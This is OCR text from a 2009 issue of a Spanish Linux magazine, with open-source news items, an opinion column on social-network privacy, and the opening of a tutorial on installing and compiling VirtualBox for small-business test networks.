de Pidgin para la mensajería instantánea (IM), un software que soporta hasta 15 diferentes tipos de cuentas de mensajería instantánea al mismo tiempo. No importa qué tipo de cuenta tengan los contactos, con este programa el usuario podrá estar seguro que estará en contacto con todos ellos. MSI afirma que incluirá a Winki en la mayoría de sus placas madres cuando el momento sea el correcto, y si hacen lo mismo con futuras versiones de su Winki, ya van a tener a un buen grupo de potenciales clientes a la puerta. http://global.msi.com.tw/index.php?func= newsdesc&news_no=737 El mundo se acaba… y no hay quien lo pare H ace poco tuve la oportunidad de asistir a una charla sobre seguridad informática en la que se nos contaron todos los peligros de las redes sociales para los adolescentes. Y para los adultos por supuesto. El uso de Tuenti, Facebook o Linkedin, según expuso el ponente, no es más que un medio de exponer nuestros datos y dejarlos al alcance de cualquier persona que quiera perjudicarnos. Básicamente, se nos dijo, es una locura para nuestra intimidad. Bueno, si él lo dijo, será cierto, por algo es un gran experto y por eso fue invitado. Pero yo no lo veo así. www.lpmagazine.org NE WS KDE 4.2.1 A poco más de un mes del lanzamiento de la versión 4.2 de uno de los escritorios más famosos donde los haya, ha sido puesta a disposición del público la primera actualización 4.2.1 cream como ha sido denominada. Se trata de una actualización de mantenimiento y es la versión que se recomienda para todos los usuarios. Esta actualización no incorpora realmente ninguna nueva característica pero la estabiliza aún más y se han realizado mejoras en Kopete, Kmail y Okular entre otras aplicaciones. Red Hat, Dell y HP demandadas por una patente en JBoss Otra compañía que vuelve a las andadas. En este caso se trata de Software Tree LLC, que demanda a Red Hat, Dell, HP y a Genuitec debido a que, supuestamente, el middleware de JBoss infringe una patente suya en el intercambio de datos y comandos entre sistemas orientados a objetos y sistemas relacionales. Acojonante. Red Hat es demandada como propietaria del conocido servidor de código libre, mientras que las otras compañías son demandadas por vender software basado en JBoss o por incluirlo en sus productos. Casualmente la compañía es partner de Microsoft. http://barrapunto.com/articles/09/03/05/ 0751210.shtml La Linux Foundation se hace cargo de Linux.com Finalmente prevaleció la sensatez y la Linux Foundation será quien se haga cargo del abandonado dominio de Linux.com. Ese sitio muestra ahora el anuncio de su inevitable relanzamiento prometiendo su intención de convertirse en la fuente central de información sobre Linux. Pero hay un truco para cristalizar esa afirmación, debemos hacerla nosotros: Mientras que la Linux Foundation proveerá el foro colaborativo, esperamos que Uds. -los verdaderos expertos de Linux- provean el contenido. Y para comenzar a recibir esa colaboración montaron un IdeaForge donde todos pueden comenzar a dejar sus ideas y sugerencias. http://www.vivalinux.com.ar/eventos/ linux.com-segun-linux-foundation KDE 4.2.1 Poco más de un mes después del lanzamiento de KDE 4.2 nos llega su primera obligada actualización de mantenimiento. KDE 4.2.1 Cream fue anunciado y es ahora la versión recomendada para todos los usuarios. Esta actualización estabiliza la anterior v4.2.0 aún más y no incorpora ninguna nueva característica entre sus novedades, pero sí mejoras que involucran a Okular, su visor de documentos, Kopete y KMail. Todos los usuarios que prueben esta nueva versión con el también recientemente lanzado Qt 4.5 son invitados a reportar cualquier problema en bugs.kde.org. http://www.kde.org/announcements/ announce-4.2.1.php 13 NE WS novedades Noticias sección llevada por Alex Sandoval [email protected] FLISOL 2009 El Festival Latinoamericano de Instalación de Software Libre (FLISoL) es el evento de difusión de Software Libre más grande en Latinoamérica. Se realiza desde el año 2005 y su principal objetivo es promover el uso del software libre, dando a conocer al público en general su filosofía, alcances, avances y desarrollo. Para tal fin, las diversas comunidades locales de software libre (en cada país, en cada ciudad/localidad), organizan simultáneamente eventos en los que se instala, de manera gratuita y totalmente legal, software libre en los computadores que llevan los asistentes. Además, en forma paralela, se ofrecen charlas, ponencias y talleres sobre temáticas locales, nacionales y latinoamericanas en torno al Software Libre, en toda su gama de expresiones: artística, académica, empresarial y social. Este año se realizará el sábado 25 de Abril de 2009. El evento está dirigido a todo tipo de público: estudiantes, académicos, empresarios, trabajadores, funcionarios públicos, entusiastas y aún personas que no poseen mucho conocimiento informático. Asiste en tu Ciudad! La entrada es libre y gratuita. http://microteknologias.wordpress.com/ 2009/03/01/flisol-2009/ GNOME 2.26 RC Cumpliendo a rajatablas su propio calendario, el proyecto GNOME liberó hoy con este anuncio el primer Release Candidate (RC), y el único si todo sale según lo planeado, de la próxima versión 2.26 de su escritorio para sistemas tipo Unix. La versión definitiva de GNOME 2.26 está ahora a sólo 2 semanas de distancia. Este RC es un snapshot congelado del estado actual del desarrollo de GNOME (con la numeración de v2.25.92) disponible para el escrutinio de todos antes de la versión final del próximo 18 de Marzo. http://permalink.gmane.org/gmane.comp.gn ome.devel.announce/10 Publicados Qt 4.5.0 y Creator 1.0.0 Nokia, a través de su grupo Qt Software, ha anunciado hoy la disponibilidad de Qt 4.5.0 y Qt Creator 1.0.0. Qt es un conjunto de bibliotecas y herramientas para crear aplicaciones multiplataforma (en la que se basa, por ejemplo, KDE o VLC), y Qt Creator es un IDE para C++. Esta es la primera vez en que Qt será publicado como LGPL (también Qt Creator), pero también se incluyen muchas novedades importantes, como la inclusión de motores de renderizado intercambiables, el añadido de un SDK, mejoras de rendimiento, actualización de la versión de WebKit incluida (con soporte de plugins de Netscape para soportar Flash), soporte de ODF, y algunas cosas más. También se ha anunciado que no se publicarán más versiones de Qt Extended (un conjunto de software para móviles usando Qt. http://www.qtsoftware.com/about/news/ nokia-releases-new-qt-developer-offeringsto-increase-productivity-and-performance 14 Lo único que puede conseguir cualquier red social es velocidad. Sí, así de claro, velocidad. Podemos imaginarnos esa misma charla impartida sobre el peligro que representaría, a principio del S. XX, la aparición de sistemas para reproducción de fotografías en los periódicos. Cualquier ciudadano podría ser retratado y aparecería en los periódicos, suponiendo una clara violación de su intimidad. Y lo que es peor, muchos querrían aparecer en esas fotografías, quedando para la eternidad en las hemerotecas. Y lo que es peor, cualquier ciudadano que tuviera un pleito con la justicia, verá su nombre reflejado en los Boletines Oficiales, en donde se podría localizar sus faltas, incluso hayan sido ya expiadas o simplemente hubiera sido exculpado: las actas de los tribunales están en muchos sitios publicadas (¡cientos de miles de ejemplares del BOE!) y cualquiera con un poco de curiosidad podría encontrar el nombre de un ciudadano para hacer mofa y befa de él. ¿Qué diferencia esto de una red social del año 2009? Que para encontrar un nombre tardaríamos mucho tiempo, seguramente más del que nuestra paciencia pueda aguantar. Pero ahí están. En el Archivo Histórico Nacional se pueden encontrar infinidad de datos que harían sonrojar a muchos. Pero hay que buscarlos sin Google, y sin nadie vivo que nos pueda dar una referencia acerca del pleito que un ciudadano de Tordesillas tuvo por unas tierras en Dios sabe dónde. La intimidad (aunque ahora queda más 2.0 llamarla privacidad) siempre ha sido un problema de cada persona, y no de los sitios donde está guardada nuestra información. Si nosotros indicamos que hemos estudiado en determinado colegio, instituto o universidad, ese dato se volverá en contra nuestra si, por ejemplo, se demuestra que en esos sitios ha habido compra de resultados académicos. Pero bastaría con revisar los expedientes en papel para encontrar unos nombres que violen nuestra intimidad. ¿Diferencia? La velocidad. Simplemente eso. Así que no nos asustemos en exceso. La intimidad de las personas es exactamente la misma que hace unos años. Simplemente, tenemos sistemas más rápidos para acceder a los datos, no es que haya más peligro. Si hoy en día se asusta a las adolescentes por los comentarios que ponen en sus blogs, ¿Cuántas cuarentonas se sonrojarían por las cartas que enviaron en su día a la revista Vale? ¿Y cuántas sexagenarias con sus comentarios a Elena Francis? Tranquilidad en las masas. El mundo no se va a acabar por tres post en un blog y por media docena de fotos. Se acabará más rápido, pero no antes. Por: Ontinet.com (www.nod32-es.com) Neurowork organiza la 7ma WhyFLOSS Conference N eurowork organiza la 7ª edición de la WhyFLOSS Conference, un importante evento internacional de divulgación de tecnologías abiertas de IT a desarrollarse el próximo 21 de Mayo en la Universidad Carlos III de Madrid, Campus de Leganés, Madrid, España. En este evento organizado por Neurowork participaron en anteriores ediciones empresas como SUN, Red Hat, OpenBravo, IBM, Alfresco, Andago, SIA, Liferay, Opentia, Monolabs, Accenture, Avanzada7, empresas públicas, Ministerios de Planeamiento, Turismo, Ayuntamientos, universidades como la UPM y la URJC y comunidades de proyectos como LibreSoft, OpenSolaris, Fundación de I+D de Software Libre (Fidesol) o FFII entre otros. Se presentarán conferencias variadas entorno a las tecnologías abiertas de IT separados por diferentes ejes temáticos en la que expertos del mundo empresarial darán su experiencia en Linux+ 5/2009 distintos casos de éxito entorno a las últimas tendencias y modelos de negocio en torno a Software Libre. Para ello ponentes de reconocido prestigio y empresas como instituciones públican darán su experiencia en esta nueva edición de la WhyFLOSS Conference, generando ciclos de discusióny favoreciendo el crecimiento de negocio en torno a estas tecnologías. Para su participación se ha abierto el Call for papers en el que se pueden registrar ponencias acerca de las últimas tecnologías y casos de éxito sobre Software Libre en: http://www.whyfloss.com/es/conference/ madrid09/paper. Luego se ha abierto la inscripción al evento en: http://www.whyfloss.com/es/ conference/madrid09/register. Para mayor información sobre las formas de apoyar con su empresa u organización visite la web: http://www.whyfloss.com/es/conference/madrid09sponsor. novedades sección llevada por Alex Sandoval [email protected] Noticias Diraya, fiasco a la andaluza con Microsoft R esulta cuando menos paradójico que cuando la Junta de Andalucía cuenta con una distribución GNU/Linux propia, que acaba de sacar su versión a la que se denomina Guadalinex V5, además de ser una de las mejor valoradas en el mundillo de los usuarios de nuestro querido sistema operativo, llega hasta nuestros oídos la noticia de que se ha gastado 60.000.000 € (sesenta millones de euros) en una aplicación web desde 2005 y que acaban de enviar a la basura porque no funciona, sin embargo no por que lo hayan invertido en Guadalinex. Cuando nos informamos un poco del asunto ya vamos viendo por donde van los tiros y nos llevamos la sorpresa. Podía leerse en 2005 en las páginas de Microsoft que Diraya revoluciona la gestión sanitaria: ...La columna vertebral de Diraya es la tecnología Microsoft. La solución presenta una arquitectura centralizada para los establecimientos de atención primaria, de modo que los profesionales acceden a las aplicaciones vía Microsoft Terminal Services y Citrix Metaframe (...) Los consultores de este área definieron, junto al SAS y los socios del proyecto (Indra, Fujitsu y Accenture), tres líneas de actuación para responder a las necesidades presentes y futuras de Diraya. El objetivo era triple: resolver los problemas que habían surgido, evitar que se repitieran en el futuro y mejorar el uso de los productos y las tecnologías de Microsoft... Cuando pensamos en un proyecto de esta envergadura nos imaginamos que la administración coge a un grupo de ingenieros y los pone a cavilar en serio sobre las mejores tecnologías para soportar el sistema, las necesidades del mismo, entrevistarse con los que realmente los van a usar y todo lo que se necesita para que sea realmente útil. Pero la gente que trabaja para la administración pública sabe que esto no es realmente así. Los contubernios de empresas que se asocian para no tener competencia y luego subcontratar a otras con personal que con mucho tienen una cualificación que habría que verificar y así tener más beneficios si cabe, son el pan nuestro de cada día. En fin lo que comentaba al principio sesenta millones de euros invertidos en una tecnología que no funciona como se puede leer en los periódicos, y posiblemente no pasa nada... cabría preguntarse ¿Para qué invierten en Linux? Si luego por lo que se ve... a la hora de la verdad no confían en un sistema que se supone que impulsan o eso nos quieren hacer creer, porque la prueba la tenemos ahí, esos millones posiblemente si los hubieran invertido mediante la tecnología que soporta su sistema operativo hubieran sido menos... pero claro... eso ya no lo sabremos. Hay otras administraciones que son consecuentes con sus postulados y usan el software que promocionan e impulsan, sin salirnos de España, pero eso... son consecuentes y aún más en periodos de crisis. NE WS El gobierno alemán destina 500 millones de euros al Software Libre Después de que el gobierno británico demostrara que el software libre es mejor para sus contribuyentes y, a partir de ahí, desarrollara un plan de acción para impulsarlo, otros gobiernos europeos parecen estar tomando nota y montando otros planes para apoyar el Software Libre. En concreto, el gobierno alemán acaba de decidir destinar 500 millones de euros al programa "Open Source and Green IT", un programa dedicado a la estabilidad y crecimiento de las herramientas de Software Libre, tecnologías "green" y soluciones de seguridad informática para objetivos gubernamentales. De un total de 500 millones de euros, 300 han sido dispuestos inmediatamente para el proyecto y 200 están esperando hasta que las medidas concretas sean propuestas. Estudiantes de la Unefa se capacitan en Software Libre Un total de 45 estudiantes de las carreras de Ingeniería de Sistemas y Comunicaciones Electrónicas de la Universidad Nacional Experimental de la Fuerza Armada Bolivariana (Unefa) inició el taller de Facilitadores Comunitarios en Software Libre, como parte de las actividades de cooperación que adelanta el Centro Nacional de Tecnologías de Información (CNTI) con esa casa de estudios. El objetivo del curso es brindar asesoría y proporcionar orientación sobre la manera de impartir una clase o cómo abordar a la comunidad. El taller se enmarca en el programa de Servicio Comunitario, establecido como requisito del programa de estudios de la Unefa. PUBLICIDAD www.lpmagazine.org 15 novedades Ubuntu sección llevada por Francisco Javier Carazo Gil [email protected] HP certificará Ubuntu De todas las grandes marcas de hardware del mundo actual, HP no ha sido la más rápida en incluir y dar soporte a Linux en el mundo de escritorio (hemos de decir que no ha sido la última...) aunque en el mundo de los servidores, lleva ya años ofreciéndolo. Entre las distribuciones que ofrece HP desde hace ya tiempo podemos incluir a Red Hat Enterprise Linux (RHEL), SUSE Linux Enterprise Server (SLES), Oracle Enterprise Linux e incluso Debian. La siguiente en apuntarse a esta lista es Ubuntu gracias a unas conversaciones llevadas a cabo por HP y Canonical, la distribución de los chicos de Mark Shuttleworth conseguirá una certificación completa para la línea de servidores Pro Liant que entre otras cosas asegurará un perfecto funcionamiento del hardware en sistemas Ubuntu. Otra gran marca más en una lista que prácticamente cada mes actualizamos. 9.10, Karmic Koala Disponible en Octubre de este año, como manda la costumbre y como no podía ser de otra forma con un nombre formado por dos palabras, un adjetivo y el nombre de un animal, que empiezan por la misma letra. En este caso le ha tocado el turno al Koala Kármico (supongo que karmic está relacionado con el karma y koala se escribe igual en español). Somos un poco ansiosos esperando la próxima versión tan pronto, pero es bueno ir difundiendo el nombre para no dejar nunca de ver nuevas versiones alfa, beta y release candidatas. Qimo, una distribución orientada a los más pequeños Para terminar este mes os traemos una distribución de una temática inusual, aunque no por eso menos interesante, una distribución orientada a los niños. Como no podía ser de otra manera tratándose de esta sección, Qimo, que es así como se llama, está basada en Ubuntu. Incorpora GCompris, todo un clásico en el software libre educativo e infantil y además su interfaz gráfica además de llamativa e intuitiva está repleta de grandes iconos que le facilitan a los más pequeños sus primeros contactos con el ordenador. Otros títulos software que también incorpora son: Childsplay, Etoys, TuxMath, TuxType y TuxPaint. Todos ellos tocan distintos aspectos de la educación de los más pequeños, desde las matemáticas hasta la mecanografía, pasando por el dibujo. Está orientado a niños de más de 3 años, pero mezclado con un netbook, aunque sea el más simple y barato del mercado, puede convertirse en un gran regalo para cualquier pequeño. En la red: http://www.qimo4kids.com/ default.aspx 16 Ubuntu VS Windows 7 A ún recuerdo los artículos que escribí cuando Windows Vista salió al mercado. Por aquel entonces se comenzó a hablar por primera vez de un duelo entre Windows Vista y Ubuntu. Hablamos del año 2007, a mediados más o menos, por lo que las versiones de Ubuntu más recientes eran la 7.04, Feisty Fawn y la 7.10, Gutsy Gibbon. Al mismo tiempo toda la Comunidad de Software Libre emprendió una campaña para desprestigiar, con mayor o menor razón en algunos casos, a Windows Vista. El título de la campaña era Bad Vista y posiblemente muchos la recordéis si eráis asiduos de los portales y blogs centrados en este tema. El tiempo pasó y no podemos hablar de que Ubuntu ganara el duelo pero lo que sí podemos afirmar es que Windows Vista ha sido un completo fracaso para los chicos de Redmond. Digo que Ubuntu no ganó el duelo claramente, porque aunque sí que en este período de tiempo ha subido enormeme en parte gracias a Windows Vista, todavía no tiene una cuota de usuarios lo suficientemente grande como para realizar esta afirmación. Lo que sí está claro es que Vista ha sido una decepción para muchos de los fans de Microsoft y para la compañía en sí. No ya sólo por el bajo nivel de implantación que está consiguiendo en los años que lleva en el mercado sino porque su llegada provocó un renacer de Windows XP. Aunque parezca mentira, el sistema operativo de Microsoft que liberaron en 2001, hace ocho años que se dice pronto, volvió a ser protagonista porque muchos usuarios lo preferían antes que al recién llegado Vista. Podemos criticarle muchas cosas a Vista, la primera la gran cantidad de recursos que necesita para llevar a cabo unas tareas, como los efectos visuales con Aero, muy por encima de aplicaciones similares como CompizFusion. Podemos seguir contando más detalles, pero según mi opinión, aparte de una estética renovada, que creo que al menos en el tema estético sí acertaron, el resto es prácticamente como XP pero con más dificultades. Un usuario si cambia de sistema operativo procura que el nuevo le reporte más ventajas y facilidades que el anterior, y no lo que ha sucedido con Vista. Además, tenía un coste económico considerable, por lo que hacía más fácil su rechazo. Lo que ya no es algo subjetivo u opinado por muchos sino un dato más bien, es que a Windows XP se le ha prolongado el soporte y además sigue estando a la venta. Aparte, las cifras no engañan y a pesar del maquillaje que suponen las Linux+ 5/2009 ventas de equipos con Vista preinstalado con licencia OEM, no son ni mucho menos las esperadas por la compañía. El último síntoma objetivo es el rapidísimo desarrollo del futuro (o no ya tan futuro) Windows 7, que apenas dos años después, está en la portada de muchas revistas y con betas ya disponibles en la red. Aunque posiblemente a muchos de vosotros no os interese mucho Windows 7, comentaros que Microsoft ha intentado borrar el mal nombre que ha dejado Vista en los usuarios y se ha esforzado en un sistema que a todos gustará más que su predecesor. No se trata de una versión remozada sino de un desarrollo llevado a cabo desde la base para conseguir un sistema totalmente nuevo que según comentan, asegura compatibilidad con aplicaciones y controladores (esto último habrá que verlo) con las versiones anteriores de Windows. El propio fundador de Canonical y Ubuntu, Mark Shuttleworth ha anunciado la buena impresión que le ha causado y no son pocas las voces dentro del Software Libre que han hablado de Windows 7 como un paso adelante en calidad. Sin embargo, no hay que preocuparse ni llegar a pensar en deserciones sino pensar que una competencia digna mejorará aún más el producto de Canonical y de la Comunidad. La versión, o más bien versiones, de Ubuntu encargada de hacer frente a este nuevo enemigo serán si no se retrasa el lanzamiento Jaunty Jackalope, la versión 9.04, y Karmic Koala, la 9.10 de la que hablamos al lado. Este duelo será mucho más interesante. El rival a batir ha sabido jugar sus cartas y está preparado para ofrecer más batalla de la que ofreció su predecesor y la fama conseguida por Ubuntu en estos dos años ha conseguido que estemos cerca de hablar de un aunténtico duelo. En un campo como el de los netbooks, de los que hemos hablado en varias ocasiones en esta misma sección los últimos meses, Microsoft se siente herido porque la cuota de mercado conseguida por Linux en equipos vendidos en las tiendas, ha superado todas las expectativas. No nos referimos a usuarios que posteriormente instalan Linux en el equipo, sino que lo compran directamente en la tienda con él preinstalado. Es un gran logro primero por parte de los usuarios, que se sienten cada vez más cómodos con él y por otro por parte de las marcas de hardware que ven viable económicamente lanzar portátiles con distintas distribuciones GNU/Linux preinstalado. Aparte Windows Vista nunca llegó a entrar en este mercado y delegó en Windows XP ya que los requisitos hardware eran excesivos para los pequeños netbooks. novedades sección llevada por Diego Rivero Montes [email protected] Fedora Fedora 11 Games Spin A unque se encuentra aún en estado alfa, no se deja de trabajar en los Spin, y he aquí el resultado de la versión 11 dedicada a juegos. Se ha trabajado mucho y se sigue trabajando para su puesta a punto y se llamará Fedora 11 Games Spin. Se trata de una modificación de la versión alfa de Fedora 11 en la que se pone énfasis en demostrar a propios y extraños, nuevos y antiguos, usuarios de Fedora que en el mundo Linux también existe gente “GAMER”. Como se expresa en la página de la versión http://fedoraproject.org/wiki/Games_Spin, donde podemos encontrar todo sobre esta variante YUM, planes para la transición a la arquitectura i686 de Fedora 12 de Fedora, está destinada al us live y para usar menos el Wine. Como sería imposible, por motivos de espacio, incluir todos los juegos en un DVD de Fedora, lo que se ha intentado es incluir los que a su juicio son los mejores juegos de los diferentes géneros. En la distro se incluyen todos los juegos con la premisa que deben ser reproducibles sin descargas de terceros es decir íntegramente jugables. Lo ideal es descargarlo a través del torrent, la imagen que se puede descagar desde aquí http: //spins.fedoraproject.org/torrents//Fedora-11Alpha-i686-Live-Games.torrent pesa unos 4Gb. Parece ser que en el seno de Fedora se ha empezado la discusión sobre la conveniencia de la transición a la arquitectura i686 de los paquetes base. Ahora que Fedora 11 x86 32bits va a estar basado en paquetes i586 en lugar de los i386, lo que realmente se está discutiendo en sí es la denominación a dar a los repositorios, si bien sería un poco confuso denominarlos i386 cuando en realidad nos estamos refiriendo a i586, evidentemente es poco apropiado para la oferta x86. De todos modos lo que parece seguro es que Fedora 12 será i686. Fedora 10 RE-SPINS Con fecha 16 de febrero vio la luz la nueva RE-SPINS, sobre la base de Fedora 10. El Re-Spins lanzado contiene en el DVD o CD de Fedora 10, todas las actualizaciones llevadas a cabo en la distribución hasta el día 10 de febrero. Iniciando en 20 segundos 20 Second Startup, o como se puede leer en sitios de internet de 0 a Fedora en 20 segundos. Así es, Leonidas, la nueva versión de Fedora nos traerá un importante avance a la hora del arranque. El propósito es, según hemos podido averiguar, lograr un inicio en unos veinte segundos hasta la pantalla de conexión y ser lo más rápido posible tras el inicio de sesión (sesión Gnome) e igualmente que el apagado sea igual de rápido. El coste de Linux Fedora Games Un poco de bricolage P ara todos aquellos amantes de llevar su distro a cuestas proponemos hoy un poco de bricolage linux. Nos hacemos eco del excelente trabajo que hicieron los componentes del equipo Fedora con la herramienta LiveUSB Creator ya que tiene muchas y buenas cualidades como el hecho de ser multiplataforma es decir que podemos hacerlo también desde el dichoso Window$ y también permite indicar el espacio que quermos dedicar para datos y demás sin complicaciones y todo de la forma más visual. Y ahora a ver como hacemos para obtener una Fedora para llevar. Desde windows XP Lo primero que hay que hacer es ir a la página oficial que es ésta y descargarnos el fichero liveusb-creator-3.2.zip (10.6M): https://fedora hosted.org/liveusb-creator. Después como es natural descomprimimos el ficherito y hacemos doble click en el fichero liveusb-creator. Una vez hecho esto desde browse buscamos la imagen iso (si la hemos descargado) si no damos en Download Fedora y la descarga- mos. Posteriormente localizamos nuestro dispositivo en Target Device que debiera tener mínimo 1GB y si tiene 2GB bastante mejor ya que Fedora nos ocupará unos 690 MB. Y por último Persistent Storage, en este apartado indicaremos el espacio que queremos dedicar a almacenar los cambios. Para un dispositivo de 1GB deberíamos poner 200 MB aproximadamente. Y ahora a crearlo, pulsar Create Live USB. Desde Fedora Linux Desde Fedora Linux en las versiones 9 y 10 lo tenemos mucho más fácil si cabe, en nuestro menú iremos a agregar/quitar software, buscamos liveusb-creator y hacemos que se instale pero si lo queremos hacer desde la línea de comandos con yum, únicamente tenemos que teclear como root yum install liveusb-creator. Una vez instalada la aplicación, el resto del proceso es idéntico al mostrado para Window$ XP. Y listo ya tenemos nuestra distro para llevar puesta a todas partes y con la ventaja de ocupar muy poquito espacio siendo totalmente funcional. www.lpmagazine.org Según un informe publicado por la “Linux Foundation” en el que mediante un estudio exhaustivo se examinan las circunstancias actuales y se pone de manifiesto que el coste que supondría generar y desarrollar el kernel de Linux desde cero en la actualidad llega a cifras abrumadoras. Pues sí, la cifra realmente llama la atención 1.400 millones de dólares (mil cuatrocientos millones) y eso únicamente hablando del kernel, ya que si lo que nos proponemos es crear una distribución completa como Fedora, la cifra se pondría en los 10.800 millones de dólares. Xfce 4.6 Dspués de dos años dedicados a su desarrollo por fin ha sido liberada la versión 4.6 de este entorno de escritorio. Xfce 4.6 presenta una serie de novedades en todos los aspectos y en especial una nueva configuración del backend, también nuevo administrador de configuración, igualmente ha sido renovado el administrador de sesiones y el mezclador de sonido y muchas mejoras desde la última versión candidata: http://www.xfce.org/. Por lo que se vislumbra será uno de los escritorios de elección para la nueva versión de Fedora ya que en la versión alfa de Leónidas fué incorporada ésta en versión beta. 17 soluciones para empresas Máquinas virtuales: Una alternativa para PYMES Máquinas virtuales: Una alternativa para PYMES Daniel García [email protected] Con este artículo podrá aprender el concepto de máquina virtual, en qué se basan, su funcionamiento y cómo instalar, compilar y configurar su propia red a base de máquinas. El único requisito es disponer de un PC y ganas de aprender. 18 P ara una correcta explicación de todo el entorno de múltiples ordenadores para el desempeño de sus funciones. pruebas es necesario instalar un sistema base en Por nombrar algunos: una máquina virtual. Por ello también se explicará, paso a paso, este proceso. El sistema a instalar • Desarrolladores: Cuando se desarrolla, sobre todo serserá la distribución GNU/Linux: Debian. Más adelante se vicios web, se suelen necesitar varios PC o servidores. detallan cualquier tipo de duda en cuanto a distribuciones o el Sería realmente útil simular todos estos PCs o redes porqué de la elección de dicha distribución. en su ordenador. Sin necesidad de cualquier tipo de servicio externo. Una vez que todo estuviera probado ¿A quién va dirigido el artículo? y funcionando correctamente podría ser trasladado al Aunque el artículo puede tener un uso generalizado de los servidor real. Como ejemplos podríamos poner: Serusuarios, si usted necesita implantar un entorno de pruebas vidores web, gestores de bases de datos, sistemas de en una PYME y no dispone de mucho presupuesto, tiene siscontrol de versiones, etcétera. temas Linux corriendo en sus máquinas (aunque también • Administradores de sistemas: Normalmente los admifunciona bajo otras plataformas, como Windows), es defennistradores necesitan realizar numerosas pruebas cuando sor del software libre o quiere exprimir al máximo el ren0 aparecen nuevos parches para las diferentes versiones de dimiento de sus servidores, encontrará sumamente útil este software que tengan instaladas. El instalar estos parches artículo. en máquinas que se encuentren en producción es muy El nivel del artículo comenzará siendo muy bajo. No arriesgado: El servicio podría dejar de funcionar. Por se presupondrá ningún tipo de conocimiento previo por eso lo más recomendable es que se probará en una máparte del lector, ni de máquinas virtuales ni Linux. Aunque quina que sea una réplica de la que se quiere actualizar. aquellos profesionales que realmente podrían aprovechar, en Comprobado que todo funciona correctamente, entonces mayor medida, todo lo que se expone, son los que necesitan realizar las actualizaciones en la máquina real. Esto pue- Linux+ 5/2009 soluciones para empresas Máquinas virtuales: Una alternativa para PYMES • • • de aplicarse también para cuando se desea añadir nuevo software. Administradores de redes: Administrando una red media-grande surgen muchos problemas de mantenimiento. Cuando se desean hacer pruebas sobre un nuevo servicio a instalar, probar el funcionamiento de un cortafuegos, simular clientes reales de la red, etc. O tenemos un gran número de PC o creamos máquinas virtuales que lo simulen. Administradores/Auditores de seguridad: Para la gente encargada de seguridad el concepto y uso de máquinas virtuales está a la orden del día, dado que tienen que probar infinidad de sistemas y simular todo tipo de situaciones. Seguramente este artículo les sepa a poco, pero por lo menos me gustaría enseñarles que existen alternativas al software que usan (normalmente comercial). Curiosos: También deberíamos de nombrar a todas esas personas que no se encuentran dentro de ninguno de los anteriores grupos, pero les gusta probar todo tipo de cosas. Sé de gente que ha rescatado sus viejos juegos de MS-DOS en máquinas virtuales. Otros que querían jugar a un juego de Linux en Windows (o viceversa). Muy útil para estudiantes que necesiten hacer prácticas con otros sistemas operativos y no deseen instalarlo en su ordenador. Se podrían nombrar infinidad de casos. ¿Qué debería saber? Para poder seguir satisfactoriamente todo el artículo no hace falta tener prácticamente ningún conocimiento anterior sobre máquinas virtuales ni compilación de paquetes. Incluso el tener demasiados conocimientos sobre GNU/Linux no es necesario, puesto que se parte de la base que el usuario es totalmente nuevo en Linux. Para poder sacar un buen aprovechamiento al artículo sería suficiente con tener una Ubuntu/Kubuntu (o similares) instalada. Hago mención a esta distribución por su extremada sencillez. Sobre todo en lo que al proceso de instalación se refiere. Organización de ideas importante, saber encuadrar todos los concepSé, por experiencia, que cuando uno se adentra tos en cada momento. en un nuevo terreno todo suele ser bastante caótico. Los conceptos se entremezclan y en- Índice de la primera parte revesan sin saber bien donde se sitúa cada cosa. Por ese motivo hay un pequeño índice con • Introducción a las máquinas virtuales: lo pasos que se van a hacer para poder seguir – ¿Qué es una máquina virtual? de forma simple todos los contenidos y, lo más – ¿Porqué una máquina virtual? Listado 1. Compilación e instalación del módulo de VirtualBox # cd /usr/src/vboxdrv-2.0.4 (Compilamos e instalamos) # sudo make && sudo make install (Cargamos el módulo) # modprobe vboxdrv Listado 2. Instalación de todas las dependencias necesarias # apt-get install gcc g++ bcc iasl xsltproc uuid-dev zlib1g-dev libidl-dev \ libsdl1.2-dev libxcursor-dev libasound2-dev libstdc++5 \ libqt3-headers python2.5-dev libqt4-dev qt4-dev-tools libcap-dev libqt3-mt-dev Listado 3. Compilación e instalación de VirtualBox a partir de los fuentes # export CFLAGS="-mtune=core2 -O2" (optimizaciones elegida, según la tabla) # export CXXFLAGS=”-mtune=core2 -O2" (configuramos, compilamos) # ./configure –disable-hardening # source ./env.sh # kmk all (Instalamos librerías y ejecutables) # cp -prf *.so /usr/lib/ # mkdir /usr/local/virtualbox # cp -prf * /usr/local/virtualbox/ # ln -s /usr/local/virtualbox/VirtualBox /usr/local/bin/VirtualBox # ln -s /usr/local/virtualbox/VBoxSVC /usr/local/bin/VBoxSVC (compilamos e instalamos el modulo) # cd out/linux.x86/release/bin/src # make # make install (Actualizamos la lista de módulos del sistema) # depmod Listado 4. Enlazado de librerías problemáticas para arquitecturas de 64 bits Figura 1. Diagrama del diseño en capas de los sistemas virtualizado # ln -s libX11.so.6 /usr/lib32/libX11.so # ln -s libXTrap.so.6 /usr/lib32/libXTrap.so # ln -s libXt.so.6 /usr/lib32/libXt.so # ln -s libXtst.so.6 /usr/lib32/libXtst.so # ln -s libXmu.so.6 /usr/lib32/libXmu.so # ln -s libXext.so.6 /usr/lib32/libXext.so www.lpmagazine.org 19 soluciones para empresas Máquinas virtuales: Una alternativa para PYMES Figura 2. Selección del gestor de paquetes Synaptics • • • • – Software disponible actualmente: sus ventajas e inconvenientes, – Orientación que se le dará al artículo. Enfoque del hardware y software. Instalación del software necesario: VirtualBox: – Elección de la versión adecuada – Métodos de instalación. Las diferentes distribuciones y el código fuente – Instalador con un gestor de paquetes: Figura 3. Elección del origen del software Debian, Ubuntu, Gentoo – Instalación a partir del código fuente: • Máquina virtual (también llamada hués32 y 64 bits ped o máquina virtualizada). Es aquella que estamos simulando. Físicamente no – Preparando VirtualBox existe como tal. Pero el software de siPrimera toma de contacto con VirtualBox mulación se encarga de hacerle creer al Los parámetros de las máquinas virtuales: sistema operativo que se instale en dicha máquina que es un PC físico completo – Configuración de las opciones básicas y normal. El Sistema operativo no notará – Los parámetros avanzados diferencia alguna entre la máquina física – Las pestañas: descripcion y otros y la virtual. – Configuración de los discos duros – Configuración del CDROM y disquete – Configuración del dispositivo de sonido – Configuración de las tarjetas de red – Configuración del puerto serie – Directorios compartidos – Instalación de las Guest Additions Configuración de la red. Introducción a las máquinas virtuales Podríamos definir una máquina virtual como un software especializado que se encarga de emular un PC completamente. Desde el teclado hasta la tarjeta de vídeo. Siempre que se habla de máquinas virtuales salen a relucir dos conceptos: • Máquina física (también se le suele llamar sistema anfitrión, o anfitrión solamente): Cuando nos referimos a la máquina física estamos haciendo alusión al 